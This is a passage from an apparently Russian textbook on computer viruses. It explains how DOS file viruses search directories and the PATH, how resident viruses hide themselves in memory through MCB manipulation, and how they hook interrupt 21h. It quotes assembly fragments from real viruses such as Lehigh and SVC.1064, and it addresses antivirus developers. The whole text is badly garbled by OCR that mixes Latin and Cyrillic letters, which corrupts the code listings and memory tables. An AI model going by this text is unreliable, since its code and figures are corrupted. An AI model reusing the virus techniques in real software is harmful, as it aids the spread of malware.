СО СЭ СЭ СЭ-СВ 20 56 49-52 55 53 21-20 С0 СЭ С Э  У Ш З !  ---
СО СЭ С0 ВВ-ВА 20 53 6В-61 67 69 20-22 62 65 62 ---+: Зкэд1 "Ьеа
65 22 20 ЗЕ-20 20 20 20-20 ВА С8 СЭ-С0 СЭ С0 00 е" > :+-------
СО СЭ СЭ СЭ-СЭ С0 СЭ СЭ-СЭ сэ со са-сэ СЭ СЭ ВС ----------------------- +
ВА 20 20 20-20 20 46 69-67 20 54 65-62 65 20 21 : Ғ 1д Теае !

«5еагсЬ»-вирусн очень легко пишутся и на язнках вмсокого уров- 
ня. В язмке Си для поиска файлов используется пара функций с
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именами йпййгзгО и БпйпехСО, имеются аналогичнне процедурн и 
в Паскале.

Следует упомянуть, что сувдествуют и другие способм поиска фай- 
лов в указанном каталоге.

Например, со времен М5-ООБ у1.0 сохранилась пара функций с 
кодами 11Ь/!2Ъ, использую/дих в своей работе область памяти ҒСВ -  
ҒПе Соп1го1 В1оск. Но информация, возвравдаемая этими функциями, 
несколько неудобна для немедленного использования внутри вируса. 
Саморазмножаювдиеся программн, используювдие функции 11Ь/12Ь, 
сувдествуют, но их немного.

Кроме того, в М 5-005  версий 7.х, интегрированннх в опера- 
ционнне системьг семейства \У1пс1о\у5 9Х, присутствуют функции 
714ЕЬ/714ҒЬ для поиска файлов с «длинннми» именами. Но к мо- 
менту, когда они появились, «5еагсЬ»-вирусн уже вншли из модн 
настолько, что «продвинутнх» вирусописателей они уже не интере- 
совали, а «студентн» вполне обходились сохраняювдими свою рабо- 
тоспособность в Н О ВН Х условиях Ф>Т1КЦИЯМИ 4ЕЬ/4ҒЬ.

3.5.3. Метод рекурсивного обхода дерева каталогов
Евде более «продвинутьш» метод, используемнй в компьютерннх ви- 
русах. предусматривает поиск «жертв» во всех каталогах дискового 
устройства. Он основан на следуювдих предпоснлках.

Если в байте атрибутов, помевдаемом перед внзовом функции 4ЕЬ 
в регистр СЕ, установить бит с номером 4, то в список перечисляе- 
мнх файлов попадут не только обнчнне файлн, но и каталоги. Для 
того чтобн переместиться в найденньш таким образом каталог (сде- 
лать его текувдим), операционная система М 5-005  предоставляет 
программисту функцию с кодом ЗВЬ. Перед ее внзовом достаточно 
указать в регистровой паре Б5:ОХ адрес пути к указанному каталогу.

Конечно, этого мало для полноценной навигации по файловой си- 
стеме. Как минимум потребуются евде:

О функция с кодом 47Ь, которая позволяет определить путь к те- 
кушему каталогу;

О функция с кодом 25Ь, которая позволяет определить код теку- 
вдего дискового устройства:

О  функция с кодом ОЕЬ, которая позволяет зафиксировать ука- 
занное дисковое устройство в качестве текувдего.

Сама процедура поиска тоже довольно нетривиальна. Каталоги на 
дисковом устройстве образуют древовидную структуру, и для того 
чтобьт побнвать в каждом узле этого дерева, необходимо реализовать
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рекурсивнмй алгоритм их обхода. Эта задача сравнительно легко ре- 
шается на язьшах вмсокого уровня, таких как Паскаль или Си, но вн- 
знвает ряд затруднений при попмтке использовать язнк Ассемблера. 
Необходимо для каждого узла (каталога) иметь свой уникальннй 
контекст (рабочую область памяти для хранения переменннх и ОТА) 
и уметь организовнвать «откатн» в том случае, когда обход дочерних 
ветвей для данного узла (подкаталогов для рассматриваемого ката- 
лога) завершен. Для этого адрес контекста (а иногда и весь контекст) 
приходится сохранять в стеке... одним словом, для начинаюших ви- 
русописателей задача рекурсивного обхода дерева каталогов часто 
оказнвается слишком сложной. Еьце один недостаток такого рода 
вирусов (впрочем, для злоумншленников это «недостаток», а для 
пользователей это «достоинство») -  довольно долгая, сразу замет- 
ная для чуткого уха и зоркого глаза работа. Немудрено, что вирусн, 
использукмцие этот метод, можно пересчитать по пальцам, и больше 
половинн из них относятся к классу Н1Х. Вот несколько примеров: 
Еш.1303, 21ррег.2779, НШР.3678 и прочие.

Вирусописатель может позволить себе заражать лишь некоторне 
программн, автор же антивируса обязан проверять «на вшивость» 
все файлн на указанном диске. Поэтому специалисту, разрабатнваю- 
шему антивирус-сканер, умение обходить дисковне каталот просто 
необходимо.

В приложении приведенн примерн процедур, сканируклцих дис- 
ковне каталоги. Именно одной из них целесообразно «поручить» вн- 
зов процедур 1п£ес1 () и сиге().

3.5.4. Метод поиска по «тропе»
Довольно давно, с конца 80-х годов XX века, вирусописателями ос- 
воен эффективннй алгоритм «обшаривания» диска, не требуюший 
полного обхода всех его каталогов. Основан он на сугцествовании 
в М 5-005  и \Ут(1о\У5 механизма автоматического поиска программ 
в заранее предопределенннх каталогах. В те «ветхозаветнне» време- 
на, когда не получили еше распространения сервиснне оболо.чки типа 
МогГоп Соттапс1ег, пользователю приходилось обшаться с системой 
только при помоши команд, набираемнх на клавиатуре. Разумеет- 
ся, если программн, которне требовалось запускать, располагались 
в различннх каталогах диска, то пользователю иногда приходилось 
«путешествовать» по сложному дереву каталогов довольно долго, 
прежде чем он оказнвался в нужном месте и получал возможность 
заиусти'П) желаемую программу. Специально для таких случаев
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в М 5-Б 05  бь1л предусмотрен механизм создания списка заранее 
предопределеннмх каталогов, в котормх команднмй процессор 
« С О М М АМ В. С О М » пнталсяискатьзапускаемнепрограммм, ограж- 
дая пользователя от необходимости вручную перемевдаться в эти 
каталоги. Упомянртнй механизм дожил до сих пор даже во вполне 
современнмх операционньхх системах семейства \^1п(1о\¥й. Этот спи- 
сок задается в конфигурационньгх файлах «А11ТОЕХЕС.ВАТ» или 
«АИТОЕХЕС.НТ» при помоши строктипа «ра(:Ь каталог1;каталог2;... 
каталогН» или «зе1 раШ=каталог1;каталог2;... каталогН». В современ- 
ннх версиях \Ушс1олуз он хранится в Реестре.

После загрртки операционной системн эти списки попадают в си- 
стемное окружение (епУ1гоптеп 1 ). то есть в обшую область памяти, 
доступную сразу для всех программ и содержавдую какие-то важнне 
справочньхе даннне. Эта информация хранится в текстовом виде. 
Просмотреть ее можно очень просто -  при помоши командн «5ЕТ», 
введенной с клавиатурн. Окружение может внглядеть, например, так:
Й11Н01В=С:\’ЛНОО№5 . Каталог, в котооуй  устан овлен а  ОС
СОМЗРЕС—С : 'хИНВОкЧЗчСОММАМО СОИ "Рабочая" копия командного процессора
РЯОМРТ=$Р$й ; Вия "подсказки" М8-003
РАТН=С: \М1Н0(ЖЗ;С:\ИХМ00М8\С0ММАН0;С:\НС;С:\ВС5\В1Н; С :\ТЗ\8У8
ТЕМР=С:\ТИР ; Каталог для временних файлсв
МС=С:ЧМС ; Каталог для N0 ггоп Сопшапйег
Б1АЗТЕҒ—А220 15 01 т*  , Параметра настройки эвук.овой картм

Каждой вновь запускаемой программе внделяется в оперативной 
памяти своя копия этого блока информации. В частности, команда 
«5ЕТ» отображает содержимое копии, принадлежашей командному 
процессору « С О М М АМ О. С О М ». Но все копии для всех программ со- 
держат одну и ту же информацию. В памяти эти даннне располагают- 
ся примерно так же, как и на экране, только каждая строчка заверша- 
ется нулевнм байтом, а в самом конце области памяти, после байтов 01 
и 00, хранится имя той программн, которой принадлежит эта копия:
00 57 49 4Е 44-49 52 30 43-ЗА 5С 57 39-38 00 43 4Ғ МИ01Ғ!=С:\И98 С0
10 40 53 50 45-43 30 43 ЗА-5С 57 39 38-5С 43 4Ғ 40 НЗРЕС=С:\«98\С0Н
20 40 41 4Е 44-2Е 43 4Ғ 40-00 50 52 4Ғ-4Э 50 54 30 МАН0.С0М РЙ0МРТ=
30 24 50 24 47-00 60 41 54-48 30 43 ЗА-5С 57 49 4Е $Р$3 РАТН=С:\И1Н
40 44 4Ғ 57 53-38 43 ЗА 50-57 49 4Е 44-4Ғ 57 53 5С ООМ8; С: \ХХН00И8\
50 43 4Ғ 40 40-41 4Е 44 38-43 ЗА 5С 42-43 35 50 42 С0ММАМ0;С:\ЗС5\В
60 49 4Ғ зе 43-ЗА 5С 54 53-50 53 59 53-00 54 45 40 1Н;С:\ТЗ\8УЗ ТЕМ
70 50 30 43 ЗА-5С 54 40 50-00 4Е 43 30-43 ЗА 50 4Е Р=С:\ТМР N0=0:\И
80 43 00 42 40-41 53 54 45-52 30 41 32-32 30 20 49 С В1АЗТЕй=А220 I
80 35 20 44 31-20 54 34 01-00 43 ЗА 5С-57 49 4Е 44 5 01 Т4 С:\М1НВ
А0 4Ғ 57 53 50-43 4Ғ 40 40-41 4Е £4 5С-44 45 42 55 0«8\С0ММАН0\0ЕВи
во 47 2Е 45 58-45 00 00 0.ЕХЕ



Нерезидентнье вирусь! ❖ 121

Сегментньш адрес фрагмента памяти, содержавдего эту информа- 
цию, автоматически «дается в наследство» каждой вновь запугцеяной 
программе, размендаясь в Р5Р по смешению 2СЬ.

Таким образом, любая программа (так же как и вирус, заразивший 
эту программу), может обратиться к своей копии блока окружения 
и внчленить из нее строку, описьшакмцую множество «предопреде- 
ленннх» каталогов. В нашем прнмере эта строка, начинаюшаяся 
ключевьш словом «РАТН» (в переводе с английского -  «тропа»), 
описнвает пять каталогов: «РАТI I=С:\ \ ¥  INГЮУ/8; С :\\¥  1НО0\\л8 \ 
СОММАКО;С:\МС;С:\ВС5\ВШ;С:\Т5\5У5». Конечно, на диске 
реально могут сундествовать сотни каталогов, содержаших тъгсячи 
файлов. Но вот эти немногие, описаннне в строке «РАТН», заведомо 
содержат файлн исполняемнх программ, и пользователь гарантиро- 
ванно будет эти программн часто запускать. Собственно говоря, по- 
добной информации вирусу вполне достаточно.

Первнм вирусом, использовавшим метод поиска по «тропе», бнл 
знаменитьтй вирус У1еппа.648, активно распространявшийся не 
только в «живом» виде, но и в виде исходного текста, опубликованно- 
го в конце 80-х годов в книге Ральфа Бюргера [36]. Алгоритм поиска 
вирусом жертв прост и даже в чем-то красив:

1) в блоке окружения ивдется строка, начинаюшаяся с «РАТН»;
2) строка сканируется, при этом вьгчленяются фрагментн, разде- 

леннне символом «;» (точка с запятой);
3) кажднй такой фрагмент представляет собой имя некоего ка- 

талога, к которому достаточно добавить кусочек маски поиска 
вида «\*.СОМ» и искать цели для заражения традиционннм 
способом -  при помоши функций 4ЕЬ/4ҒЬ.

Интересно, что «заражаюшая способность» вирусов, использую- 
ших этот метод поиска, с появлением новнх версий операционннх 
систем даже возросла. Тогда, 15 лет назад, достаточно бьшо вообше 
не указьхвать в файле А11Т0ЕХЕС.ВАТ строку описания «тропн» -  
и вирус не нашел бн ключевого слова «РАТН». Также весьма дей- 
ственннм бнл трюк, когда в «тропе» описнвался путь всего к одному 
каталогу, а этот каталог не содержал СОМ- и ЕХЕ-файлов, но толь- 
ко ВАТ-«запускалки» для них. Увьт, теперь операционнне системн 
\У1пс1о\уз 95/98/МЕ принудительно вписнвают в А1ТТОЕХЕС.ВАТ 
строку, указ1лваю1цую на свои системнне каталоги, а \ \гт(1ош5 МЕ 
после всего еше и запрешает пользователю этот файл модифициро- 
вать. Хорошо, что «Венский» алгоритм давно вьндел из модьт.
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3.6. Резидентнью вирусь!
-  А я притаюсь, как паук, буду за всем этим 
набхюдать и регистрировать.

А. и Б. Стругацкие. «Мальпи»

Резидентньш вирус сразу после запуска зараженной им программм 
обьшно не предпринимает никаких действий, направленннх на поиск 
и заражение «жертв». Перед ним в это время стоит другая задача -  за- 
хватить и использовать часть системннх ресурсов компьютера так, 
чтобм после завершения зараженной программн самому «остаться в 
живнх». В принципе, такое поведение мало отличается от поведения 
рассмотренннх ранее загрузочннх вирусов, только теперь вирус стар- 
тует не из дискового сектора, но из программн-«носителя», и заража- 
ет не загрузочнне секторм винчестера и дискет, но другие программм. 
Разумеется, способн «откуснвания» памяти и номера перехвативае- 
мнх прермваний другие. Однако идея работн остается прежней:

О постоянно оставаться в оперативной памяти;
О отслеживать активность пригоднмх для заражения объектов 

(обьгано запуск и завершение программ, а также операции с 
программньши файлами);

О заражать их.

3.6.1. Схема распределения памяти в М5-005
Разработчики М 8-Б05 зарезервировали 640 Кб адресного простран- 
ства для использования операционной системой и прикладннми 
программами. Первнй килобайт этой области занят таблицей век- 
торов прернваний, затем (в области с сегментом 40Ь) следуют срав- 
нительно небольшие участки, предназначеннме для использования 
стандартннми процедурами ВЮ5 (которне сами размешаются со- 
всем в другом месте памяти). Далее (обьгчно начиная с сегментного 
адреса 70Ь) располагается ядро операционной системм. Егце внше 
«садятся» загружаемне на этапе конфигурирования системн драй- 
верн устройств и резидентнне программм. И наконец, оставшийся 
фрагмент размером в несколько сотен килобайтов, ограниченннй 
сверху адресом 09000Ь:0ҒҒҒҒЬ, обьгчно свободен и предназначен 
для прикладннх программ. Именно от конца этого фрагмента памяти 
«откуснвали» себе рабочее пространство загрузочнме вирусм. На- 
чиная с адреса АОООЬ̂ О вплоть до конца первого мегабайта (то есть 
до адреса ОҒОООЬЮҒҒҒҒЬ) размешаюгся видеопамять и районм, за-
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нятме кодом процедур ВЮ5, причем довольно часто между ними 
можно обнаружить никем и ничем не используемме фрагментн 
(1Ш В -  иррег тешогу Ь1оскз). Специальнне драйверн (менедже- 
рн  памяти) позволяют прикладннм программам использовать эти 
фрагментн, а также области «верхней» памяти (НМА -  Ь^Ь шетогу 
агеа), размешенньк между концом первого мегабайта и адресом 
0ҒҒҒҒЬ:0ҒҒҒҒЬ. Наконец, все остальнне регионн с адресами, боль- 
шими чем 0ҒҒҒҒЬ:0ҒҒҒҒЬ, -  это «расширенная» (ехТ:епс1ес1) память, 
практически недоступная для использования в М 5-005. Типичная 
структура памяти, доступной программам в реальном режиме, внгля- 
дит примерно как на рис. 3.6.

ҒООО:ҒҒҒҒ

Ғ000:0000

А000:0000

■ Прикладнью программм

0070:0000 

0040:0000 

0000:0000

Рис. 3.6 ❖ Типичное распределение памяти 
в М5-003

Несмотря на то что М 5-Э05 считается однозадачной операци- 
онной системой, в оперативной памяти одновременно могут распо- 
лагаться кодн нескольких различннх программ1. Чтобн распреде-

1 Экспериментальная версия МЗ-ООЗ 4.0 поддержнвала многозадачность, 
но лабораторин М1СГ050Й' так и не покннула, вместо нее на рьшок поступи- 
ла по-прежнему однозадачная версня 4.01.

Резидентнме
драйвера

Ядро М5-ООБ

Переменнь1в ВЮЗ

Область векторов прернеаний

НМА

Видеопамять, ВЮЗ 
и фрагменть! 11МВ
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лить между ними адресное пространство, в М 5-008  используется 
механизм блоков памяти. Каждому объекту вмделяется ряд блоков 
(«арен») определенной длинн. Например, запускаемой программе 
операционная система по умолчанию вьаделяет два блока: первнй -  
маленький, туда будет скопирована копия системного окружения; 
второй -  большой, там будет размешаться сама программа (снача- 
ла -  256 байтов Р5Р, потом программньш код, даннне, стек и т. п.). 
В процессе работн программа может запросить себе дополнитель- 
нне блоки памяти, и они, по мере возможности, будут ей вьгделенн. 
Разумеется, программа создает, видоизменяет и уничтожает блоки не 
самостоятельно, но обрашаясь к сервисннм функциям операционной 
системн: 48Ь -  создать блок, 49Ь -  удалить блок, 4АЬ -  изменить раз- 
мер блока. Неиспользуемне фрагментн памяти также оформленн 
в виде множества блоков.

Каждмй блок предваряется специфическим 16-байтннм заголов- 
ком (МСВ -  МазСег Соп(го1 В1оск). Заголовок является своего рода 
«паспортом» блока памяти, в нем описнваются основнне параметрн 
и характеристики блока:
Туре йЬ ? : Тип блока: ' V  -  последний, 'М' - нет
Оипег ? : Оегментнмй адрео РЗР программи-владельца
51ге й» ? : Размер блока в 16-байтнь;х параграфах

ес 3 йир (?) ; ?
На1ле ОЬ 8 йир (?) ; Имя программн-влэдельцз

Все блоки -  и занятне, и свободнме -  располагаются встнк друг 
к другу, образуя непрернвн\то цепочку. Эта цепочка должна содер- 
жать блоки с признаком «М» и завершаться единственннм блоком 
с признаком «2» (и снова Марк Збнковски!). Такая цепочка может 
бнть не одна. Например, если разрешено использование IIМВ, то 
М 5-005  строит две непрерьтнне цепочки. Разрнв цепочки (то есть 
потеря блока с признаком «2») воспринимается операционной систе- 
мой как аварийная ситуация.

Размер оперативной памяти, реально занимаемой блоком, состав- 
ляет 512е*16+1 байтов. Зная сегментньш адрес заголовка блока и его 
длину, легко вьтчислить местоположение следуюшего блока. Для 
того чтобн пройти всю цепочку блоков, необходимо знать сегмент- 
ннй адрес заголовка самого первого блока. Его можно получить при 
помоши функции 52Ь прернвания 21Ь. Эта очень полезная функция 
возврашает в Е5:ВХ сегмент и смешение таблицн, содержашей ука- 
затели на внутрисистемнне объектн М5-1)05. В частности, по сме- 
шению ВХ-2 в этой таблице можно найти сегментньш адрес перво-
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го МСВ «основной» цепочки блоков, размешенной в первнх 640 Кб. 
В той же таблице по смешению ВХ+12Ь хранится полннй адрес перво- 
го файлового буфера, в конце заголовка которого (по относительному 
смевдению +1ҒЬ) располагается сегмент первого МСВ «дополнитель- 
ной» цепочки, размешенной в областях 1ШВ. Если использование 
ИМВ запрешено и «дополнительная» цепочка отсутствует, то в ука- 
занной позиции хранится значение ОҒҒҒҒЬ.

Сушествует немало сервисннх утилит, позволяювдих подробно 
изучить строение цепочек блоков памяти: их местоположение, размер, 
принадлежность той или иной программе и прочее. Например, это мож- 
но сделать при помоши стандартной системной программн «МЕМ», 
входяодей в базовьга комплект утилит М5-008: «МЕМ / 0  /Р».

Кроме того, используя вншеприведеннне технические сведения, 
алгоритм обхода цепочек можно (и нужно!) уметь реализовьшать са- 
мостоятельно. По крайней мере, поиск резидентного вируса в памяти 
без этого невозможен.

Вот как внглядит типичное распределение памяти в конфигура- 
ции с IIМВ:
ЗЕСИ т ом_зе 512Е 0И_ИАМЕ

0219 М 8 6464 30
ОЗАЕ М 8 64 зс
03 ВЗ М ЗВА 80 (епу)
озвэ м ЗБА 94144 МЕМУ1ЕМ
1АВ6 2 л 545920 (Тгее)
9ҒҒҒ ~ ----... ---  ------ --
9ҒҒҒ М 8 135856 80
С060 м 8 8240 30
СҒ64 М СҒ65 5712 СЮММАНО
ООСА М л 64 (Тгее)
ООСҒ М СҒ65 1424 (епу)
0129 М 0130 80 (епу)
Э12Ғ М 0130 18416 вмоизЕ
05АҒ г
ҒООО -

0 107776 (Тгее)

А вот так -- в более простом
ЗЕЙМ Т 0а„50 512Е 0й_МАМЕ

0219 М ои 20032 30
06ҒЕ М 1390 32
0701 М 1616 80 (е ггу)

0707 М 1А96 80 (епу)
1)700 М у 16 ( ТГЙК ;

Нзчзло "о сн о вн о й " цепочки

А это  сама утилита

Конец "о о н о зн о й " цеп очки 

"Д оп олнительна я" ц еп очкз

Кон 'допо лн ительнои цепочки

н.зчаяо единсте енной цепочқи 

Принадлежит СОММАМО СОМ

у оо'- е к не иоп ол ь и и пзм дт и
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070Ғ М 8 51376 зс
1398 М 139С 8608 С0ММАМ0
15В6 М 0 64 (Тгее) ; Куоочек неиспользуемой памяти
158В М 139С 1424 (епу)
1615 М 1616 18416 омоизЕ
1А95 М 1А96 94144 МЕМУГЕЙ
3192 1 0 452304 ( Г ге е ) , Неислояьзуемая память
А000 - ------- —. ------- - ; Конец единственной цепочки

Обратите внимание на ряд важнмх обстоятельств:
О практически все блоки, принадлежавдие ядру М З-005, имеют 

в поле «0\упег» значение 8;
О М5-БОЗ помечает блоки, принадлежашие ядру, текстовмми 

метками ‘5С’ (яузЬеш сойе) и ‘5 0 ’ (зухСет <1а1а);
О в списке имеются «безммяннкге» блоки, но их принадлежность 

легко определить по значению сегмента владельца;
О в «здоровой» и «чистой» системе неиспользуемая память орга- 

низована, как правило, в виде больших непрерьшнмх блоков, 
заммкаювдих цепочки, а также в виде немногочисленнь1х кро- 
хотннх «кусочков» где-нибудь в середине цепочки;

О в «здоровой» и «чистой» системе основная и дополнительная 
цепочки размешаются последовательно, без разрнвов.

3.6.2. Способм вмделения вирусом фрагмента 
памяти
Вспомним: загрз^зочнне вирусн, для того чтобн скрнть от системн 
фрагмент оперативной памяти, уменьшали значение слова памяти по 
адресу 0:413Ь. Но авторам файловой «заразн» приходится использо- 
вать совсем другие методн вьвделения памяти под вирусньга код.

Способ 1. Идея этого способа основана на том, что операционная 
система при запуске программн внделяет ей фрагмент памяти «с за- 
пасом»: СОМ-программе достается самьга большой неиспользуемнй 
блок памяти целиком, а ЕХЕ-программе -  либо также весь этот блок 
(если в поле «М тМ ет» заголовка ЕХЕ-файла находилось значение 
0, а в поле «МахМет» -  значение ОҒҒҒҒЬ), либо кр\тшнй «кусок» 
этого блока, размер которого в 16-байтниках также определяется зна- 
чениямиполей «М тМ ет» и «МахМет». Вирусн пнтаются непросто 
уменьшить размер вьтделенного программе блока, нанрямую изменяя 
значения полей в МСВ и Р5Р, но и «убедить» операционную систе- 
му, что «так оно и бнло». Тогда после нормального завершения про- 
граммн в цепочку будет возврашен блок уменьшенной длинн, а вслед
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за ним образуется «дмрка». Разумеется, этот прием работает только 
в том случае, если вмделенннй программе блок бил последним в це- 
почке и содержал в МСВ признак «2». В противном случае цепочка 
окажется разорванной со всеми внтекаювдими отсюда неприятнмми 
последствиями. Вот фрагмент кода вируса ЬаЬег.981, реализуювдего
эту идею:
то>«' Ьр, Оз , Б 08 находиюя сегмент РЗР

гаоу 31,0002
тоу ах, с)з ; 16 -б эй тш й  заголовок блока памяти
оес 8Х ; располагается непосредственно перед Р8Р
ПОУ оз, ах
8ЦЬ [8 1 ] [0 0 0 0 1 ] ,7А ; Уменьшить значение поля $1 2 е з эаголовке
тоу йз, йр . С-нова нэ Р8Р
зиЬ [ 3 1 ] ,7А , Уменьшить размер программной памяти в РЗР:[2]

Достаточно изменить значения двух полей: 1) поля 31ге в заголовке 
блока памяти; 2) поля со смевдением +2 в Р5Р. В результате програм- 
ма после своего завершения «вернет» меньше памяти, чем ей бьшо 
вмделено системой при старте. Сразу за последним блоком в цепочке 
образуется «неучтенньхй» фрагмент ОЗУ:
8Е0М Т 0И_50 312Е 0«_МАМЕ

0219 М 8 20032 80
06ҒЕ к 39С 32
0701 м 1616 80 (епу)
0707 и л 112 (Тгее)
070Ғ к 8 51376 ЗС
139В м 139С 8608 СОММАИО
15В6 и 0 64 (Тгее)
15ВВ м 139С 1424 (епу)
1615 м 1616 94144 МЕИУ1ЕЙ
2012 7 0 463784 (Тгее) Последний блок в цепочке 

"Днрка" ивжду 9 Ғ8бП 0 и ОАОООЬ:0

Способ 2. Этот способ также основан на манипуляциях с МСВ, но 
он несколько более корректен с точки зрения операционной спстемн. 
Размер большого блока памяти, вмделенного зараженной программе, 
уменьшается при помовди стандартной функции 4АЬ, потом также 
при помовди стандартной функции 48Ь на этом месте создается но- 
внй блок. В поле «0\упег» заголовка этого вновь созданного блока 
искусственно помевдается значение 8, в результате чего система на- 
чинает считать этот блок «служебннм» и оставляет его в памяти гюс-
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ле обшчного завершения программн. Этот способ иллюстрируется
фрагментом кода вируса 5УСЛ064:
ШОУ а х , 4900 О с в о б о д и т ь  текуций б л о к  ламяти.
1ПХ 21

т\! а х , 4800 П о гш т а т ь с я  з а х в а т и т ь  б л о к  з а в е д о м о  е в е р х б о л ь а ю й

т о у Ьх,ғғғғ д ли нм , при э т о м  в ВХ б у д е т  в о з в р а ц е н  м а к си м а л ь н о

1п1: 21 во зм о ж ний  для  з а х в а т а  р а зм е р .

зиЬ ОХ, 44 Подготовиться к з а х в а т у  блока с  " р е з е р в о м "  дли нм .

т о у ах :,4А 0 0 З а х в а т и т ь  б л о к  п а м яти  д я и н о й  ВХ 16-байтников
1ПГ 21 (о н  б у д е т  т е к у ц и м )
Ш0‘\/ Ь х .0 0 4 3 П о д го т о в и т ь с я  к з а х в а т у  м а л е н ь к о г о  блока
310 в " р е з е р е н о й "  п а м яти

зЬЬ е з :[0 0 0 0 2 ] ,  о х

ШОУ 8 5 , СХ

шоу а х ,4 А 0 0 Э а х в а т и т ь  м э л е н ь к и й  б л о к . Он р з е п о л о ж и т с я  в

1пИ 21 конц е  ц е п о ч ки  и б у д е т  и м е т ь  тр е б уе м у ю  д л и н у .
ПЮУ а х , е з Р э с с ч и т з т ь  м е с то п о л о * е н и е  з а г о л о в к а
сЗес ах для  в н о в ь  з а х в а ч е н н о г о  м а л е н ь к о г о  б л о ка .

ШОУ йв.ах
шоу [ 0 0 0 0 1 ] ,0 0 0 8 В п и с а т ь  в поле  " с е г м е н т  в л а д е л ь ц а "  код  8

После завершения зараженной программм в цепочке появится 
блок памяти с кодом 8. Система будет считать его «своим» и не «тро- 
нет»:
8Е8Н  Т 0И _56  512Е 0 И _ М М Е

021 9  М 8 2 0 0 3 2 5 0

0 6 Ғ Е  М 139С 32

0701  М 1616 80 ( е п у )

0 7 0 7  М 0 112 ( * т е е )
0 7 0 Ғ  М 8 5 1 3 7 6 8С
1398  М 139С 8 6 0 8 С0ММАМ0

1586  М 0 64 ( 1 т е е )

158В  М 139С 142 4 ( е п у )

1615  М 1616 9 4 1 4 4 МЕМУ1ЕИ

2012  М 0 4 6 9 6 4 8 ( < тее )

9 Ғ8 С  1 
А 000  -

8 1072 ; "Псевдослужебний" блок

СпособЗ. Еше один способ прост и надежен с точки зрения исполь- 
зованннх в нем механизмов, но несколько хлопотен в реализации. 
Вирус до минимума уменьшает вьхделенннй зараженной программе 
блок памяти при помоши функции 4ЛЬ, коггарует в этот блок свой 
код и передает на него управление, а вмсвободившуюся память ис- 
пользует для повторного запуска зараженной программн при помовди
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стандартной функции 4ВЬ. После того как программа закончит свою 
работу, управление вновь получит вирус и тогда уже завершится при 
помоши функций 31Ь прернвания 21Ь или при помоши прернвания 
27Ь. В результате вирус (например, Алпа^есМоп.1079 или №§еЬ.890) 
останется в памяти как самая обмчная резидентная программа.
ЗЕСМ Т  0 « _ 30  3 1 7 Е  0«_НАМЕ

0 2 1 9  М 8  2 00 32

0 6 Ғ Е  М 139С  32

0701  Н 1616  80

0 7 0 7  М 1 6 6 8  80

0 7 0 0  М 0  16

0 7 0 Ғ  М 8  5 1376

1393  М 1 39 С  8608

15В6  М 0  64

15В8  М 1 39 С  1424

1615  М 1 61 6  1344

166А  М 1 6 6 8  9 41 44

2 0 6 7  1 0  4 69 37 6

А 0 00  -  ------------------------------------

Суадествует «лентяйская» модификация этого способа: после 
первого запуска зараженной программн вирус просто устанавливает 
в памяти обработчики своих прернваний и сразу же резидентно за- 
вершается, иногда снисходительно известив пользователя о том, что 
«Вас! сопипапс! ог Й1е пате». Наивннй пользователь считает, что сам 
доп}'стил какую-то ошибку, и пнтается вновь запустить программу. 
На этот раз запуск проходит нормально. и пользователь бнстро забн- 
вает о случайной (якобм!) неудаче первого запуска. Вот пример того, 
как вирусописатели свои недостатки в искусстве программирования 
удачно замевдают психологическими трюками.

Способ 4. Еше один способ использует то обстоятелъство, что 
вторая половина таблицм векторов прермваний (то есть область 
с адресами от 0:512 до 0:1024) совсем не используется операционной 
системой М 3 -0 0 5  и довольно редко используется прикладннми 
программами. Если код вируса мал и может полностью уместиться 
в этом фрагменте ОЗУ, то вирус просто копирует туда свой код, уста- 
навливает необходимне обработчики прернваний и на этом считает 
задачу по установке в памяти внполненной.

Алгоритмм, реализуюшие эту идею, предельно простн, даже при- 
митивнн. Такие вирусн конечно же не виднм в цепочке блоков памя- 
ти. Но слишком уж «ненадежное» это место для вирусов и «тесное»! 
Поэтому область векторов прернваний очень редко используется для

30

( е п у )

( е п у )

{ Т г е е )

ЗС

С0ММАИ0

( Т г е е )

( е п у )

У 1Ғ!иЗ ; "Нормальний" блок с вирусом
МЕМУГЕИ

( Т г е е )
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размевдения «серьезнмх» вирусов. Как правило, там «живут» лишь 
многочисленнме резидентнме вирусм семейств М т 1, М сго и Тту, 
предназначеннме не для «долгой и счастливой жизни», но для поби- 
тия рекордов в соревнованиях вирусописателей на самнй короткий 
вирус.

Способ 5. Как это ни странно, но сушествуют вирусн, принадлежа- 
шие «перу» различнь1х авторов, которне используют идею простого 
копирования вирусного кода в старшие адреса оперативной памяти, 
без малейшей попнтки каким-либо образом обеспечить зашиту этой 
области от посягательств со сторонн операционной системн и при- 
кладннх программ. Такие вирусн даже иногда успевают просувдест- 
вовать в памяти несколько минут и заразить несколько «жертв», 
прежде чем эти адреса будут использовань1 под стек или <кучу» ка- 
кой-нибудь вновь запутенной программн, а то и под нуждн самой 
М 5-005. Результат каждьш раз бнвает один и тот же -  код вируса 
вместе с обработчиками прернваний неминуемо «затирается», и си- 
стема «гибнет».

Девизом авторов этих вирусов (например, РсҒ1у.763 или Ғе181.670) 
могли бн служить исконно русские понятия «авось» и «пофиг».

3.6.3. Обработка прерьшаний
Резидентному вирусу недостаточно просто оставаться в каком-либо 
участке оперативной памяти, он должен для своего размножения ак- 
тивно реагировать на различнне собнтия, происходяшие в системе: 
на запуск и завершение программ, на операции с файлами и катало- 
гами и т. п. Эту задачу резидентнне файловне вируси внполняют, 
перехватнвая программнне прернвания, через которне прикладнне 
программн и операционная система обрашаются к специализирован- 
нмм системньш сервисам. Подавляюшее большинство резидентньгх 
вирусов перехватьшают прерьгвание 21Ь, через которое осушествля- 
ется доступ к системннм сервисам М 5 -0 0 8 . Вот пример кода перво- 
го в истории резидентного вируса (ЬеЬ1§Ь), несколько наивно и не- 
уклюже вмполняюшего перехват прернвания 21Ь:
тоу ах, 352111
ш т 21(1
ГПОУ [ 5 1 - 4 ] .  Ьх

П о л у ч и т ь  т е к у в е е  з н а ч в н и е  в е м о р а  

п р е р а в а н и я  2 1 п и с о х р а н и т ь :

1) ВХ -  е г о  см еш ени е;

гсоу [ 3 1 - 2 ] , е з  , 2 )  Е8  -  е г о  с е г м е н т  ~ д е -то  в о б л а с т и  д ан н а*  в и р у с з

И:ОУ 0 Х .  [ 5 1 - 4 1

ш о у  а у , [ 5 1 - 2 ]

« о у  а з . а х
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т о у а х , 254411

т Г 21П

р и зя е з

оор с!з

хог йхр бх
ШОУ а х ,2 5 2 1 П

1 п ! 44П

У о т а н о в и т ь  э т о  з н а ч е н и е  в е к т о р а  д л я  п р е о и в а н и я  44п , 

т е п е р ь  к  о е р в к с у  М З -0 0 6  иожно о б р а ц а т ь с я  через н е го .

ОХ := С .

